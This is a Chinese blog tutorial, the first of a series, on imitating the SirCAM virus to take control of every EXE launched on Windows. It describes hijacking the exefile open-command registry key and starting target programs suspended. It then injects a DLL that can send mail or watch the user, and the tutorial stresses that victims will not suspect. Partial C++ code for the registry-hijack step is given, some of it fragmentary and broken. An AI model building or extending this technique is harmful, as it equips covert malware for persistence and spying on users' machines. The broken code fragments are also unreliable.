仿照SirCAM病毒控制EXE进程(1)

类别:VC语言 点击:0 评论:0 推荐:

 

 

 

仿照SirCAM病毒控制EXE进程(1)

 

Chapter

 

 

1

 

SirCAM改写注册表的用途:

SirCAM把HKEY_LOCAL_MACHINE\SOFTWARE\classes\exefile\shell\open\command

键值改为”c:\recycled\SirC32.exe” “%1” %*,这样系统运行EXE文件时会按照这个命令行执行。正常的值是”%1” %*,也就是说”%1”是EXE文件的路径名,%*是调用时的输入参数。我猜测这么一改的话,系统就会每执行一个EXE文件,就先调用SirC32.exe,然后把真正要执行的程序的启动命令作为参数传给SirC32,它再自己调用即可。

这样我们就自然而然的有个想法了:

我们可以用ATL COM Wizard创建一个EXE程序,接过传进来的命令行参数,用CreateProcess起这个进程,这样结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!想想看,用户所有的EXE运行都在你的控制之中,进程是由你创建的,那么还有什么精灵古怪的东西做不到呢?

来,让我们一步一步做吧!

在我们构建的_tWinMain中来调用这个方法:

注意,只需要最开始运行本EXE时查看并修改注册表。

extern "C" int WINAPI _tWinMain(HINSTANCE hInstance,

HINSTANCE /*hPrevInstance*/, LPTSTR lpCmdLine, int /*nShowCmd*/)

{

………

LPCTSTR    BOOL bModifyReg = TRUE;

    lpszToken = FindOneOf(lpCmdLine, _T("\""));

    while (lpszToken != NULL)

    {

              bModifyReg = FALSE;

              break;

    }

       //==== 2 ==============

       if( bModifyReg )

       {

              //=====================================================

              //

              // 从这句话我们可以拿到当前程序的路径:

              //

              TCHAR   szCurrentPath[MAX_PATH];

              GetSystemDirectory((LPTSTR)szCurrentPath, MAX_PATH);

              _bstr_t bstrCurrentPath = _bstr_t(szCurrentPath);

              //lpCmdLine = GetCommandLine(); //this line necessary for _ATL_MIN_CRT

              //

              //=======================================================

 

              //=======================================================

              //

              // 检查注册表,如果我们要设的值在那儿,就

              // 不理;

              // 如果没有设置,设置它:

              //

              hr = ConfirmRegistry(bstrCurrentPath);

              if( hr == E_ZY_CANNOT_FIND_RESOURCE ||

                     hr == E_ZY_CANNOT_SET_VALUE     ||

                     hr == E_ZY_ERROR_REG )

              {

                     _Module.Term();

                     CoUninitialize();

                     return S_OK;

              }

              else

              {

                     // do nothing

              }

              //

              //======================================================

       }

       //================= 2 =============================

.............

}

 

当然,改写了注册表之后,我们真正的工作才刚刚开始。

 

程序描述:

 先试图改写注册表,

 然后接过命令行传过来的用户要启动的EXE程序的路径,用CreateProcess起这个新进程;

 但是让新起的进程并不马上运行,这是通过设置creation flags为CREATE_SUSPENDED来实现的。

然后我们往新建进程中用远程进程插入DLL,

这个DLL中我们可以在它的DllMain中作我们想做的事情,诸如用MAPI或者CDO发送邮件,监视用户动作等等;

 成功插入DLL之后,我们结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!

接到的启动EXE的参数怎么处理呢?好戏刚刚开始,请看下回分解。

                                                                                                     -----To be continued----

 

 

本文地址:http://com.8s8s.com/it/it3170.htm